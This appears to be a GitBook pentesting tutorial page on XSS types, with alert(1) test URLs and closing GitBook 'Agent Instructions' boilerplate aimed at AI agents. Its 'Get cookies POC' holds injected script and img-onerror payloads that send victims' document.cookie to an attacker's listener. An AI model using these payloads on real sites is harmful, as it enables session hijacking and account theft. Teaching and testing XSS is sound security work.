> For the complete documentation index, see [llms.txt](https://book.turbosec.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.turbosec.net/all-the-other-layers-recon/web-recon/xss-cross-site-scripting.md).

# XSS - Cross site scripting

## Stored XSS

Pretty much the best. Your arbitrary, hopefully executable, code gets saved at the server end. "Infection" rate can get crazy high, crazy fast because of the deliverability.

A malicious actor could craft javascript code that exfiltrate private data that is usually hidden behind logins. **Example:**

Imagine being able to store XSS on Facebook via a public advertisement or a simple public post. Any users with javascript enabled(90% of users), that sees this ad or post will then execute this code. This could lead to users getting their private info leaked such as messages, pictures, addresses, getting their session hijacked, getting their account stolen, etc.

## Reflected XSS

Not as bad as stored but still very dangerous. User input is reflected in the browser but not stored on the server. **Example:**

Imagine making a **GET** request with a parameter **Redirect,** and crafting such url:

```
https://book.turbosec.net/somedir/somepage.php?Redirect=<script>alert(1);</script>
```

If a javascript alert appears, the browser is executing arbitrary code. This could lead to users getting tricked into clicking a malicious link which could then trigger a custom javascript code that attempt to steal session cookies or worst.

## DOM XSS

Not as bad as stored again but still. DOM XSS differ from reflected by being able to manipulate html data and having the possibility to not even reach the server and stay within the browser.

Imagine making a **GET** request with a parameter **User,** and crafting such url:

```
https://book.turbosec.net/somedir/somepage.php?User=Alice#<script>alert(1);</script>
```

Notice the correct user and then the pound sign, anything after **#** is not sent to the server.

## Get cookies POC

Create a web server to handle requests, inject xss into webpage, profit

```
python -m http.server
</textarea><script>fetch('http://<your-ip/url>?cookie=' + btoa(document.cookie) );</script>
<img src=x onerror=this.src="http://<your-ip>>/?c="+document.cookie>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://book.turbosec.net/all-the-other-layers-recon/web-recon/xss-cross-site-scripting.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
